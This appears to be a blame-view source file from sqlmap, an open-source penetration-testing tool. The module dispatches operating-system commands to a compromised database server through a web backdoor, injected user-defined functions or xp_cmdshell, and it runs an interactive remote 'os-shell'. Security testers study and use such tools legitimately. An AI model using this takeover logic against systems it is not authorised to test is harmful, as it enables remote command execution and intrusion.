sqlmap/lib/takeover/abstraction.py

170 lines
5.5 KiB
Python
Raw Normal View History

#!/usr/bin/env python
"""
$Id$
2012-01-11 18:59:46 +04:00
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
"""
2010-10-21 02:09:03 +04:00
from lib.core.common import dataToStdout
from lib.core.common import Backend
2010-12-18 18:57:47 +03:00
from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput
2011-05-03 19:31:12 +04:00
from lib.core.convert import safechardecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import OS
2010-12-18 18:57:47 +03:00
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF
from lib.takeover.web import Web
from lib.takeover.xp_cmdshell import xp_cmdshell
2010-11-02 14:59:24 +03:00
class Abstraction(Web, UDF, xp_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
to UDF / xp_cmdshell objects
"""
def __init__(self):
self.envInitialized = False
2010-02-25 14:40:49 +03:00
self.alwaysRetrieveCmdOutput = False
UDF.__init__(self)
Web.__init__(self)
xp_cmdshell.__init__(self)
def execCmd(self, cmd, silent=False):
2010-12-18 18:57:47 +03:00
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
2010-01-14 17:33:08 +03:00
self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.udfExecCmd(cmd, silent=silent)
elif Backend.isDbms(DBMS.MSSQL):
self.xpCmdshellExecCmd(cmd, silent=silent)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def evalCmd(self, cmd, first=None, last=None):
2011-05-03 19:31:12 +04:00
retVal = None
2010-12-18 18:57:47 +03:00
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
2011-05-03 19:31:12 +04:00
retVal = self.webBackdoorRunCmd(cmd)
2010-01-14 17:33:08 +03:00
elif Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
2011-05-03 19:31:12 +04:00
retVal = self.udfEvalCmd(cmd, first, last)
elif Backend.isDbms(DBMS.MSSQL):
2011-05-03 19:31:12 +04:00
retVal = self.xpCmdshellEvalCmd(cmd, first, last)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
2011-05-03 19:31:12 +04:00
return safechardecode(retVal)
def runCmd(self, cmd):
getOutput = None
2010-02-25 14:40:49 +03:00
if not self.alwaysRetrieveCmdOutput:
2011-04-30 17:20:05 +04:00
message = "do you want to retrieve the command standard "
message += "output? [Y/n/a] "
2010-02-25 14:40:49 +03:00
getOutput = readInput(message, default="Y")
2010-02-25 14:40:49 +03:00
if getOutput in ("a", "A"):
self.alwaysRetrieveCmdOutput = True
2010-02-25 14:40:49 +03:00
if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput:
output = self.evalCmd(cmd)
if output:
conf.dumper.string("command standard output", output)
else:
2010-10-21 02:09:03 +04:00
dataToStdout("No output\n")
else:
self.execCmd(cmd)
2010-01-14 17:33:08 +03:00
def shell(self):
2010-12-18 18:57:47 +03:00
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
2011-04-30 17:20:05 +04:00
infoMsg = "calling OS shell. To quit type "
2010-01-14 17:33:08 +03:00
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
else:
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
2011-04-30 17:20:05 +04:00
infoMsg = "going to use injected sys_eval and sys_exec "
2010-01-14 17:33:08 +03:00
infoMsg += "user-defined functions for operating system "
infoMsg += "command execution"
logger.info(infoMsg)
elif Backend.isDbms(DBMS.MSSQL):
2011-04-30 17:20:05 +04:00
infoMsg = "going to use xp_cmdshell extended procedure for "
2010-01-14 17:33:08 +03:00
infoMsg += "operating system command execution"
logger.info(infoMsg)
2010-01-14 17:33:08 +03:00
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
2011-04-30 17:20:05 +04:00
infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows")
2010-01-14 17:33:08 +03:00
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.runCmd(command)
2010-01-14 18:11:32 +03:00
def initEnv(self, mandatory=True, detailed=False, web=False):
if self.envInitialized:
return
2010-01-14 18:11:32 +03:00
if web:
self.webInit()
else:
self.checkDbmsOs(detailed)
2010-01-14 18:11:32 +03:00
if mandatory and not self.isDba():
2011-04-30 17:20:05 +04:00
warnMsg = "the functionality requested might not work because "
2010-01-14 18:11:32 +03:00
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.udfInjectSys()
elif Backend.isDbms(DBMS.MSSQL):
2010-01-14 18:11:32 +03:00
if mandatory:
self.xpCmdshellInit()
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException(errMsg)
self.envInitialized = True